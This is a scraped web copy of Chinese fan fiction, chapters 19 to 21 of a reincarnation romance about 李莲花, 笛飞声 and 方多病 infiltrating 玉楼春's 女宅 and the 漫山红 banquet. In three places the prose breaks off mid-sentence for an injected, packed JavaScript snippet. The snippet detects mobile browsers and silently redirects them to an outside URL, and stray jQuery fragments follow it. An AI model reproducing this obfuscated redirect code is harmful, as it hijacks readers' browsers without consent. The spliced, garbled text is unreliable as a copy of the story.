“你谁啊?”想到出门后所见市井之人,方多病心中一动,学着掏了掏耳朵:“我那爹尸骨无存,但还算心善,安排了一具假尸体给我拜,我盛情难却就好生安葬了,你可别乱冒出来认人当儿子!”
好样的,单孤刀气得快不能说话了。
“方少庄主。”倒是封磬够冷静:“你此来是为何事?”
他环视一周,在地上打滚的几个人伤得很重,但不会死,只是不可能再拿起武器,且不用好药养着,日日夜夜都会疼痛难忍。
“为我……尊上带句话。”方多病不情不愿,吐字还有点涩意,却也当真敛去气人的面具:“角丽谯身死,南胤王嗣旁系灭绝,嫡系只剩下你,结果连造反都造不利落!”
他冷下脸道:“看在芳玑太子对侍卫长笛长岫不薄,死前都帮他逃去西南成家立业的份上,他给你指一条通天明路。若你成功,我金鸳盟只要海运独立权。”
“笛盟主是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938799|146803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
芳玑太子侍卫长笛长岫的后代?”封磬吃了一惊。
为了让方多病取信于人,笛飞声自然告诉了他不少秘辛,此次也派上了用场:“装什么,我金鸳盟撤出后,你们不是把笛家堡翻了个遍吗!”
“谨慎罢了,还请方少庄主原谅则个。”封磬一点都不尴尬:“既然如此,两边可就是一家人呢。”
方多病嗤笑一声:“扶持南胤郡主雷火炸盟控制金鸳盟的一家人?”
“可别了,尊上的意思是,你走你的阳关道,我走我的独木桥。”他挽出一个剑花,在地上刻画地图。
没吭声的单孤刀忽然幽幽道:“小宝,我记得,你小时候只愿意拜师弟为师。”
“你不配叫我师父为师弟!”方多病抬起头,目光冷冽如寒冰。
单孤刀淡淡道:“虽是我指使角丽谯诱惑云彼丘下碧茶之毒,但若无笛飞声这把刀,相夷这剑也不可能折的。可你,认贼作主?”
“仇恨不灭,尊上要芳玑太子与萱妃之后为帝,你不过是年纪大点。”方多病勾起嘴角:“太子之位是我的,你可别想娶南胤贵女再生一个。”
听懂了方多病言下之意,单孤刀的脸色顿时难看极了,但心底疑心也随之消弭。
他以小人之心度君子之腹,揣度笛飞声是觉得方多病年轻气盛,不好推上台去,才选择了自己做傀儡。
实际上,他从头到尾都是想控制整个天下,果真是野心勃勃的魔头!
师弟你看走眼了,到底是师兄我当年想和朝廷联手剿灭金鸳盟才是对的!
至于方多病,哼,比起拜一个死人为师,光鲜亮丽的太子位乃至帝位,只要他投靠笛飞声,可就应有尽有了。
对于流着他高贵血脉的方多病会动心,单孤刀一点都不怀疑。
年轻人总是虚荣的,像师弟那样真心想要天下太平的奇葩,绝不会再出现了。
“……主上。”封磬自然也是这么想的,觉得笛飞声试图挟天子以令诸侯,脸色不由变来变去。
但他还是凑到单孤刀耳畔,轻声道:“只能答应,不然笛飞声可能把我们都杀了,直接推方少主上台。”
本来嘛,封家也是想单孤刀上位,另择南胤贵女延续血脉。
可笛飞声的刀,确实是最大的威胁,一力降十会。
“答应吗?”方多病秉持笛飞声的教导,看都不看业火痋一眼,表示出金鸳盟当真对此物不屑一顾的态度。
屈辱感在单孤刀心头盘桓。
但想想能借笛飞声的势,再加上业火母痋在手,若合作了,不见得没机会给笛飞声下痋,他还是踟蹰了。
方多病看单孤刀真相信自己弃年幼梦想,投靠了师父名义上的仇敌,更为师父不值了。
“你还犹豫什么?”他不耐烦道:“不行我就回禀尊上说你不干,然后等你登基,我把你干掉自己上得了。”
方多病还看向封磬:“我也是萱公主血脉,他现在可只有我一个儿子。”
那我把他杀了,你是不是就只能认我为主?!
“唰。”封磬瞬间挡在单孤刀身前,讪笑道:“咳,兹事体大,少主勿要心急。”
不耐烦演戏的大少爷踢了一脚桌子:“从小到大,除了我爹娘和尊上,还没人敢让本少爷等着呢。”
“幸好……”他嘀嘀咕咕道:“幸好我不是你带大的,小家子气!”
这不孝子生出来就是折磨我的!单孤刀气得发抖,还不能发作。
并不知晓方多病是为了师父才演戏,笛飞声也是为此拿自己最看不上的血缘为理由,单孤刀对未来的悲惨生活一无所知,最后还是答应了。
“够了,就依笛盟主之意。日后,海运都归金鸳盟。”他想想就心头滴血,偏偏没有反抗的筹码:“不收税银。”
方多病转身就走:“哼,算你识相。罢了,就按尊上所说,害母杀师之仇,等本少爷而立,朝中班底培养出来了,再找你算账!”
徒留单孤刀在背后大骂‘逆子’、‘不孝子’地无能狂怒。
此时此刻,方多病回想之前的交锋,闷闷不乐地靠在了树上。
倒不是不想说,但石水、杨昀春还不知道师父要做什么,他总不能露馅吧。
20.【笛花】重生玉城时19
不过,方多病到底没有多少迟疑的时间。
有一字诗送来的消息,李莲花便选择了直接去女宅。
期间,还有才知道这事儿的石水暴跳如雷:“玉楼春这是什么恶臭的玩意?!”
“别生气,别生气。”杨昀春急急忙忙哄她:“我回去就查他,就他干得,肯定可以捉拿归案。”
李莲花无声叹了口气。
上辈子他死的虽然早,但方多病就算带清儿躲躲藏藏,也不是没注意女宅后续的。
姑娘们是否安康喜乐是一方面,女宅的账本、芙蓉膏引出的人是另一方面。
结果,真是所有尚存信心的人都失望了。
老皇帝装聋作哑默许人找替罪羊就算了,老皇帝一死、朝局混乱,管这事儿的重臣们左推右推,都不想得罪人。
方多病与清儿逃命过程中,清儿曾拜访了几位姐妹,然后假夫妻合作,杀了不少有取死之道的人。
嗯,对这个凶手,杨昀春也装聋作哑,不得不说是某些人活该的福报。这是李莲花做背后灵跟着笛飞声,听见石水禀报后的想法。
也挺好笑的,他死了,笛飞声却念及他曾经的理想信念,硬生生夺过了百川院的权柄,以金鸳盟为中心,重掌四顾门最鼎盛时期对武林的责任。
看着是个武痴的笛飞声,竟真做得有声有色。
因老笛不苟言笑、素来冷酷,曾对着李相夷都敢自恃甚高的武林前辈们,居然还挺识相。
总之,背后灵李莲花看在眼里,觉得这事儿怪滑稽的。
“不必多说了。”他回过神一锤定音,又问了一声:“青尊,你讨要漫山红请帖时,可引起怀疑?”
四象青尊当即道:“并未,玉楼春当时说,莲花楼主数年前现于江湖,有神医之名,今年又连破灵山升仙、玉二小姐两件奇案,已够奇了。至于方少爷,他初入江湖不久,有天机山庄在身后,玉楼春有意交好。”
“不过……”回忆起当时拿了请帖,虚伪应付几句就告辞,四象青尊联想近期发生的事情,蹙眉道:“金满堂的死,玉楼春恐怕会有异动。”
四象青尊言下之意,李莲花当然明白:“无妨,你大可以以此为由,再去女宅一趟,就说……”
“就说你怀疑南胤王嗣已归,正惩治叛徒。”他笑盈盈道:“这是你的私事,哪怕笛盟主向来护短,但事关祖宗与族人,你又一直隐藏身份,事到如今大事不好还不敢说,心有不安不是很正常嘛,没什么不能和同伴商量的。”
玉楼春可不是同伴,充其量是因为祖宗同流合污,不得不往来的世交。四象青尊心里嘀咕,但眼角余光瞥过第一次听说此事的石水、杨昀春,还是答应了下来:“是。”
李莲花指挥金鸳盟的人倒是越来越顺手了,一点都不把自己当外人啊。笛飞声瞧过这狐狸脸上因青尊干脆听令而更盛的笑容,唇角也不自觉勾起。
四象青尊出门时,似是又想到了什么,回眸笑了一下。
但以李莲花所见,他更可能是脚踏出门槛了,才敢回头实话实说。
“咳咳。”果然,四象青尊咳嗽了两声,见大家都望了过去,方眨巴眨巴眼睛道:“找借口要请帖的时候,我对玉楼春说,莲花楼主十年前曾于东海救了尊上的命。但尊上当时身受重伤,又顾及行为不轨的角丽谯,就没把恩人带回去。”
笛飞声对这吞吞吐吐的伪造经历不太满意,双眸不禁微微一沉。
“青尊,直接说吧。”李莲花深邃的眼眸里染了似笑非笑的意味:“你家尊上都要不耐烦了。”
四象青尊立即加快了语速:“我告诉玉楼春,最近莲花楼主名声愈盛,偏生不会武功。尊上放心不下,就派了个护卫去守着。”
“这护卫跟尊上学了一招半式,被赐名一个飞字。”话音还未落,他的身影已飞快远去了:“任务是寸步不可离开莲花楼主,也不让任何人能近莲花楼主之身。是以您在女宅完全不近女色,是理所当然的。”
四象青尊敢肯定,他那时若有若无透露的意思,玉楼春微妙的表情是代表听懂了的——
莲花楼主李莲花,是金鸳盟盟主笛飞声的人。
现场一片沉默,除了不肯死心正欲震声说‘你胡乱传什么谣言明明你们盟主是我们门主的人’的石水,其他人都忍不住想笑。
但是,他们到底小看了李莲花的接受能力。
“咳。”李莲花握住笛飞声的手腕:“青尊这个理由找的非常好,可算不用分开坐马车,让你一个人去女宅了。”
心里有一点雀跃,笛飞声当然没舍得抽出手。
“驾!驾!驾!”有此喜剧,一行人很快便策马分道扬镳。
莲花楼主自然是携护卫阿飞赴宴。
其好友,天机少主方多病因顺路,仍客居莲花楼,还顺手担负起日日喂养狐狸精的任务。
四象青尊先行一步,独自前往女宅,亦担负起协助、监视角丽谯之任。
石水、杨昀春则暂时与炎帝白王、阎王寻命同路,路上能知道多少,还要看这对有情人的表现。
就拿捏轻重上,哪怕炎帝白王、阎王寻命颇为不羁,李莲花也给予了足够的信任,让他们心头很是感念。
当然,笛盟主一点都没有自己可能被架空的危机感。
“拔剑。”他心甘情愿做起了阿飞,虽因李莲花初步解毒还不适合动手太猛烈,只能继续给方多病喂招,但心情显是一天比一天好。
又一次摔进草丛里,方多病拖着剑爬了起来。
他正好看见,刚揍自己一顿的阿飞回楼里摘下面具,换了一身衣服,趁着月色正好,邀请他的“主人”去楼顶赏月,而李莲花忍不住笑得灿烂。
“哼。”年轻人不由得摆出个无语问苍天的表情,自顾自去撸狐狸精的狗头了。
此时此刻,他们离与女宅之人接头上马车,仅剩下一日。
之后去女宅的路一帆风顺,倒霉徒弟单独一架马车,哪怕觉得香薰不对劲,也还是一觉睡到被叫醒。
并无武功护身的莲花楼主更是被女宅的眼线亲眼看着,是被护卫阿飞搀扶着上下的。
“主人,江上风大。”他躺在人怀里睡得很香,下车换船时,细心的护卫还脱下自己的外袍,又从腰间取下酒壶用内力加热一番,照顾地很是精致:“喝点热酒。”
怪哉,这语气委实令人一听就脸热。
“……”撑船的渔夫和女宅往来颇多,早就没了仁义礼智信这种东西,都还感觉到那种几乎拉丝的气氛,不自在地偏过头,全程下意识没有回首看船舱那对人一眼。
当然,因金满堂之死与金鸳盟乃至四象青尊的缘故,对莲花楼主两人很是关注的玉楼春,也很快得到了路上情形的情报。
“……阿飞?”他若有所思地笑了一下:“笛盟主到底人淡心冷,不晓得近水楼台先得月的道理啊。”
以故友青尊透露的意思,不会武功的莲花楼主颇得笛飞声青眼。可是,笛飞声知道角丽谯的心思,当时又伤势未愈,就没把人带回去。
也就是说,笛盟主认定角丽谯会对他的救命恩人不利。玉楼春当时就寻思着,里头的关系恐怕是有些苟且的。
不过嘛,笛飞声素性冷漠,只重武力。不说早期入金鸳盟的十二凤各个出彩,就连角丽谯那等绝色,他都能不假辞色。
那哪怕是情人,他也更多是视为禁脔的态度吧?更何况,四象青尊亲上女宅讨要请帖后,玉楼春可是好奇地派人查过。
结果,属下回来后禀报,莲花楼主固然温润如玉、翩翩君子,但容貌上隐约有几分像当年的李相夷。
这就更让玉楼春觉得其中关系畸形了。
可他转念一想,倒也不意外——
莲花楼主不具武力却敢孤身闯荡江湖,还得神医之名,又吸引了势大的魔道金鸳盟之主,必有出奇之处。
这从了笛飞声之事是否自愿不提,被派去的护卫被吸引得想一亲香泽,不正显示了他能耐非凡吗?
“碧凰。”但想到前不久来女宅的另一位当事人,玉楼春还是下令道:“你去请夫人过来。”
侍候笔墨的碧凰研磨的指尖一颤,呼吸声放轻得微不可闻了一瞬,才伏低身子道:“是。”
“勿要拈酸泼醋。”玉楼春忽然笑了一声,捻起她的下巴,声音轻柔:“夫人是夫人,你是你。”
碧凰微僵的身子便重新柔软了,眼神也明亮如星子,嗓音更带了钩子:“嗯。”
玉楼春松开手,女子缓步而去,脚步声渐渐远了,他才回味似的捻了捻指尖。
到底还是小家子气,远远不如那位妩媚昳丽。
他目光幽幽,突然就对令视美色如无误的笛飞声也要侧目的李神医更好奇了。
“啪嗒。”门忽然弹开,又被角丽谯反手关了。
她含着笑的眸光,当即投了过来,嗓音清如潺潺流水:“我猜,你是想问李莲花的事情?”
“对。”玉楼春对角丽谯可不似对碧凰那边随意,竟站起了身,转到她面前:“殿下若愿意讲一讲,玉某感激不尽。”
角丽谯坐到了玉楼春适才的主位上:“也没什么不能说。”
她品了一口茶,心想这是什么糟糕的品味,便不动声色地放下了:“他长得是有些像王兄,我猜,该有一分远房血脉缘故。”
她多情的美眸轻飘飘洒在玉楼春身上:“君当知,南胤之属,武功一般不会差。若差,则必擅毒蛊,而自古以来呢,医毒从不分家。”
“原来如此。”玉楼春恍然大悟,自以为懂了李莲花的神医之名是擅南胤秘术、通晓毒蛊痋虫:“那殿下要玉某借机除掉他吗?”
角丽谯轻轻摇头:“不必。”
她的指尖,抚上了他年轻时一定也很好看的眉眼:“阿飞是尊上一手教导,武功不会差。”
“可不是说你武功差,而是没必要节外生枝。”角丽谯修剪很好看的指甲缓缓划拉,艳色的红,衬得她眉心那点朱砂更加璀璨:“你现在最要紧的任务,是为我好好养身子。”
玉楼春自信阅女无数,却无论如何都抽不出自己投向她的目光。
“尊上是芳玑太子侍卫长笛长岫与我南胤贵族之后,可玉家同样为我祖萱公主心腹之后,亦是贵属。”他只能眼睁睁看着角丽谯浅浅一笑,凑过来的眼眸明媚如秋水,修长细密的眼睫扑在他的眼睑上。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13997930|146803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>角丽谯的声音似远实近,像一柄巨锤,重重砸落在玉楼春的心里:“你作为聪明好看又根骨不错的男人,为我南胤王室繁衍后代,难道不是应尽之义吗?”
“我……”玉楼春难以自抑地滑动了喉珠,觉得干渴极了:“殿下……”
角丽谯这才收回手:“嫡长兄李相显死得太早,二兄李相夷一场重病,去云隐山后什么都不记得。唯独我是女孩儿,在襁褓中被追杀者小视,才能被表亲角家救走。可是,皇族同室操戈不是再正常不过了吗?”
“是。”玉楼春偏袒道:“殿下和李相夷并无亲情。”
角丽谯含情脉脉看着他,嫣然一笑:“还是你好,受尽好处的尊上反而怎么都不能理解我。他也不想想,我除掉十二凤掌控金鸳盟,还不是好声好气哄着供着他,结果刀没磨好使出去呢,就被捅进心窝里。”
“笛飞声不识好歹!”玉楼春忍不住颔首。
他南胤一脉,素来代代女中豪杰,公主何其尊贵?
更何况,这位是夺嫡战里的胜利者,她蛊惑了最有资格继位的李相夷门下心腹,为兄长亲手送去一杯碧茶,将金鸳盟、四顾门一网打尽,把天下的平静搅了个天翻地覆,是为南胤复国打下坚实基础的大功臣!
“可兄长没了,尊上再生气,也只能废我武功。他还不能对不起祖宗,就只好为了不让芳玑太子绝后,必须顺我的意,让我在金玉黄权四家里挑一个联姻。”角丽谯莞尔一笑,探头倚在玉楼春怀里:“你说,我自己起的角丽谯和本名李相谯哪个更好听?”
被大美人屈尊降贵哄了数月,色令智昏的玉楼春毫不犹豫:“你自己起的更配你。”
本圣女编故事的水平真高,可惜尊上从来不信我的鬼话。角丽谯娇笑着阖上了眼睛,不去看玉楼春那张让她想下杀手的脸。
再忍忍,等表哥过来,就能收网了。
话说,玄铁书架是一把好刀,能把玉楼春切成多少块呢?角丽谯想着,轻轻按住玉楼春克制不住的手:“别闹。”
瞧着玉楼春有点委屈的表情,她温柔一笑却绝情地推开他:“你四家刮分复国钱财我无所谓,反正南胤不缺那点钱,本圣女也随时能挣来更多。但若聘礼都没给到,就让下人叫我夫人,你当我好欺负吗?”
“殿下,我绝非此意!”玉楼春吓得缩回手:“只是情不自禁,冒犯殿下了。”
就算角丽谯被废了武功,就凭她施施然从布袋里钻出来,东方皓中毒已久当场倒地而亡,他和整个女宅就都不可能小看她。
而角丽谯也当真是亲自来找他这个玉家后代的南胤公主,也是脱离了金鸳盟仍然能叱咤风云、搅乱世间的魔道第一美人,而不是女宅之中那些被拐卖来的柔弱女子。
“你真乖。”让他意外的是,角丽谯不怒反笑,还依得更近了一些,捧着自己的脸左右端详:“记得今日的事,以后也要这么听话哦。”
玉楼春眸色一暗:“殿下也是这么对云彼丘的?”
“你竟然拈酸泼醋了?”角丽谯笑得花枝招展:“倒也不必如此,有些事,男女都一样。若勾勾手指,就能轻易得来一颗真心,你是会珍之重之,还是鄙夷弃置?”
玉楼春哑口无言。
“对了……”角丽谯便起身离开,走到门口才回眸一笑,百媚皆生。
玉楼春让勾得魂都快飞出去,还好角丽谯适才那句轻易得到就不值得珍视的话还提醒着,才没抬步追过去:“怎么?”
“你这冤家啊……”角丽谯抬起手指,恨恨地点了点他:“对女宅的护卫们、姑娘们,尤其是碧凰好一些。”
玉楼春这回是真的懵了:“啊?”
“本圣女志向高远。”角丽谯幽幽道:“不会局限于一家一宅,而是要放眼朝堂。可惜,我培植的势力被尊上连根拔起,但既然选你玉家,你的下人就也是我的。”
她语重心长道:“特定场合,女官女将都是很好用的,不妨想想石水,现在百川院唯她被骂的最少。日后便是这样,你的人只能依赖你我。可若要用,就要先怀柔,碧凰心慕你我容得下,她又在女孩中有威望,便是最佳的切入点,懂吗?”
玉楼春似懂非懂地点了点他,又道:“都由殿下做主,直接吩咐下人就是。”
他与她是同族,是同盟,是合作者。
在此事上,她绝不会因性别,就偏袒那群用来待客的玩意。
“好。”角丽谯似是对这句话象征的权力不甚在意,转身就推门走了。
玉楼春心想也是,角圣女一手将濒临破灭的金鸳盟重振起来,经手的人与事千千万万,就他女宅这点势力算得上什么?
自己还是得更努力,才能给她更大的帮助。
再有两日,就是今年的漫山红开宴之期了。
这些年结交的人脉,应该能在未来的大事中派上用场吧?玉楼春怀揣着伟大炙热的复国理想,更期待几日后的相会了。
他完全没意识到,角丽谯入女宅前,自己的想法只是开开心心地当个恶人,卖芙蓉膏与姑娘们挣钱,在家私万贯的情况下继续混日子。
可如今已如赌徒,不知不觉为角丽谯赌上了全部,一如当年的云彼丘。
21.【笛花】重生玉城时20
女宅里发生的事情,大家自然还不知道。
他们刚下船到江畔,阿飞照顾着主人莲花楼主,方多病不忍直视地偏过头,就见有人飞了过来。
被裹得暖烘烘的,李莲花咽下热酒,才吃了一颗糖,还来不及管徒弟,就见这傻小子跟前世的自己一样,把手放在唇边叫道:“这位朋友,你也是去参加漫山红的吗?”
这小子是不是傻啊,慕容腰这个表情还不够臭的吗?!
他真是一点眼色都不会看,非要往上撞!
“……”李莲花扶额,给笛飞声递去一个‘揍少了再加多点’的眼神。
不过,瞧着慕容腰不理不睬直接离开的背影,他倒是一点都不责怪。
李莲花甚至还回忆起了前世,方多病对自己说的那句话——
“我师父不可能这么没骨气,看着自己心爱之人嫁作他人也不出现。”
这么一想,这小子还是蛮了解李相夷这个师父的。他后知后觉地心虚着,忍不住摸了摸鼻子。
阿娩嫁给紫矜,自己只是有一点难过,却更多是希望她幸福。
可换成老笛,他是宁肯被彼丘刺上一剑,也要把人从角丽谯手里救走。
“好了,别生气。”李莲花回过神,再看那个情深似海、自断一臂的慕容腰,抬手镇压了徒弟的嘟嘟囔囔。
到时候,还是阻止一下吧。
否则,今日再赏一次那惊艳一舞,日后却再也看不见了,未免太可惜。
更何况,方多病、清儿被追杀到不得不躲去血域一段时间,还是赤龙和慕容腰收留了他们。
直到老笛亲自前去,为了不连累这命途多舛的夫妻俩,方多病、清儿毅然现身引走了老笛,便至死没能再见旧友了。
李莲花心中的弯弯绕绕,笛飞声自然不知道,他反倒是回过头,看向才从舟上下来的另外一个人。
“哇呕……”晕船的施文绝难受极了。
李莲花随着声音回过头,叹了口气道:“施文绝施兄,好久不见。”
他摆摆手示意惊喜叫恩人的施文绝不用多礼,也任由方多病还和前世一样好奇打探,只提醒笛飞声:“走吧。”
“哦,这位就是恩人的护卫阿飞?”笛飞声正欲跟上,施文绝看了看他脸上戴着的面具,有点纳闷道:“我怎么看这下巴,有点眼熟啊?”
李莲花蓦地偏头,目光灼灼地看向笛飞声:“嗯?”
笛飞声正与他并肩,闻言回过头,阳光恰好投下一束光,打在了身后被裹住的那把刀之上。
“……”作为七岁便能造出神兵利器的天才,对万人册上所有高手的武器都背的滚瓜烂熟,施文绝骤然无声了。
李莲花顺着他的眼神望去,低声咬牙道:“阿飞,你下次别带刀出来!”
“你让我用掌?”笛飞声想了想,点头同意了:“嗯,值得我出刀的,只有你,只要你我以后比武都提前定好,出门不带刀也不是不行。”
李莲花翻了个白眼,抬手扣住还傻站着的施文绝的肩膀,率先往前走:“比武,比武,比武,哼,你就惦记着比武。”
话虽如此,想到那天抚摸剑锋碎片吓唬并收复了青尊之后,剑就不见了,他还是压低声音问道:“对了施兄,少师是不是被送你父亲那边重铸了?要是的话,麻烦神兵谷快点,我就等着拿少师揍阿飞呢。”
施文绝木然点头。
那一日,笛盟主与父亲一谈,而气得不轻的自己只以为他和李相夷是宿敌,都在他面前喘着粗气,对穿着假宝甲的单孤刀假尸体破口大骂。
再后来又有一日,笛盟主夜行千里亲至神兵谷,将少师剑碎片送过来,下重金还给各种至宝,要求将剑重铸。
他时至今日,才知晓李相夷当真尚在的真相。
“之前的事,多谢李门主。”施文绝想到自己那次玩笑似的起死回生,对方只是李莲花还没什么,可面对李相夷,他回想那次胡闹,真的是恨不得钻地缝。
李莲花又有点不自在了,松开他的肩膀,停下脚步,轻声道:“咳,也没什么,总不能见死不救。至于我的身份,你和你爹知道都没事,别再告诉别人就行。”
神兵谷铸造利器无数,保密的水平和人品还是挺值得信任的。
“好。”施文绝赶紧点头。
他也不敢再去看护卫打扮的笛盟主,而是老老实实跟在方多病身边,与之一道先一步上山。
在他们身后,笛飞声、李莲花踏花而游,时不时点评一句,还喝个酒。
“……我就不该来。”方多病额角青筋突突直跳:“想不到毒解了,他还这么贴心肉麻。”
是自己过于天真了,还以为内力恢复之后,笛飞声待李莲花会收敛点。
“解了?”施文绝一个踉跄,不小心踩了方多病一脚。
但看见那脸上由衷的欣喜,方多病对他的观感更好了:“嗯,就最近的事,你别外传。”
“那肯定不会。”施文绝小声嘀咕:“我只是放心了。”
不是他胆子小,是女宅赏个意境的小事儿,怎么可能值得李相夷、笛飞声联袂而来?
想也知道,里头有大问题。
如果光有笛飞声一人,就算下订单和送宝剑已见过两回、有些接触,知道这位被江湖视作大魔头的人并非真正的恶人,施文绝都有点犯怵。
但若是李相夷在,便是定海神针,管他什么妖魔鬼怪,都逃不出剑神的手心。
施文绝那颗心哟,瞬间就安然落定了。
“到了。”他想着笑着,抬头时已见山顶平台。
在他们身后,笛飞声揽住李莲花的腰身,瞬间便跃到两人身后,仿佛从未脱队。
女宅护卫长迎了上来,进行了一番礼貌客套的寒暄。
经历过前世的事情,自然只有陆剑池最得李莲花的青眼。
笛飞声注意到了李莲花的眼神变化,不动声色传音道:“虽不及你我,但他内力还算深厚,放在如今的江湖,也算好手了。”
“假酒柔肠玉酿的受害者。”李莲花传音回道:“万圣道害了不少人,他的好友是其中之一,还是比较特殊的一个,我记下了名录。等事情了结,一一替他们解痋。”
笛飞声恍悟,不再做声了。
李莲花无声地叹了口气,握紧了笛飞声的手。
上辈子他死的早,解痋救人的工作是老笛通读南胤古籍、自学秘术后所做,能支撑他的只有一点——
李莲花是南胤最后的王嗣,他尚在,必不会任由族人作恶的后果延续。
除此之外,陆剑池同他们,还有一段因果缘分——
当时,受影响最轻还保有了一定神智的金有道,是老笛为受害者解痋的第一个受益人,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010064|146803||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
而陆剑池全程陪同在旁边悉心照料。
笛飞声看见他们,仿佛看见另外一对自己与李莲花。
原本公事公办的治疗,便用上了扬州慢,不但令金有道恢复,还额外指点了陆剑池些许招数。
最后,陆剑池和金有道加入了金鸳盟。
那时,四象青尊、两仪仙子、阎王寻命早已身殒,被笛飞声破牢救回的炎帝白王因早年受伤、近期越发精力不济而退位,他们和石水一起辅佐笛飞声整顿金鸳盟,终执掌武林、平复风波,保了天下太平。
“左右带着兵刃进去也毫无用处。”李莲花出神许久,被一句话唤回。
他抬眸望去,果然是陆剑池不太满意女宅不能带兵刃的规矩。
“唉,护卫长。”李莲花笑着站了出来:“我不会武功,全指望阿飞相护。阿飞呢,又是我另外一个朋友派过来的,木讷听话刀不敢离身,不然要受罚的,不行我们就打道回府……”
护卫长当即道:“不不不,主人说了,李神医和方少侠是他的贵客。”
天机山庄还勉强惹得起,但李莲花背后的金鸳盟可真不是他们能招惹的。
“就……阿飞护卫带刀进去吧。”他迟疑一下,对陆剑池等人拱拱手:“李神医不会武功,还请诸位原谅则个。”
之前被一字诗和施文绝一前一后打趣,陆剑池摆摆手,也懒得再纠结。
没有东方皓,总感觉空气都清新了一点,等玉楼春也死了,我大概更会觉得舒适吧。李莲花想到那些个可怜的姑娘,随手取过和前世一样的香红。
同时,他也瞧着方多病打开盖子,沉默地对上了一只鸡爪。
“噗。”笛飞声笑出了声。
方多病恼羞成怒地瞪他两眼,却还是拒绝了侍卫长“换一个”的提议:“不必了,就这个吧。”
说完,他走回李莲花和笛飞声身边。
哪怕早已知晓,但方多病一想到今晚或许要单独和一位姑娘共处一室,也还是浑身都不自在。
“你这么有规矩呢。”李莲花似笑非笑道。
方多病还就没看出师父在逗他,竟还认真地点了个头:“嗯!”
“这要不我给你出一个主意吧。”对此,李莲花和前世一样坏心眼地给出建议:“你抓一把土涂在自己的脸上,不就可以了吗?”
笛飞声立刻下蹲,五指张开对准了花下湿土,真诚地捣乱道:“是呀,我甚至可以代劳。”
“诶?”李莲花回眸很是惊奇:“我以前也抱怨过自己太受欢迎,你当时的反应可是生硬极了,完全不是现在这样呢。”
笛飞声愣了愣,突然想到自己当年气恼李相夷过于受欢迎时说过什么,脸上猛然泛了一层红。
“你可是说,如果我需要,可以拿刀给我这如花似玉的俊脸上来一刀。”李莲花抱臂抱怨道:“听听,听听,你这是人话吗?”
再次成为小情侣游戏一环的方多病面无表情看了看他们,一声不吭地抬脚进了女宅。
他气得连上辈子那句“你别胡闹了你”都忘记了。
最后走入女宅的笛飞声看似也一声不吭,其实只有李莲花听见回答。
“李门主如花似玉。”比十多年前沉稳了许多的声线,敲响他的耳膜:“本尊没觉得这用词有问题,但我收回后面的半句话。”
李莲花当场就红了耳朵。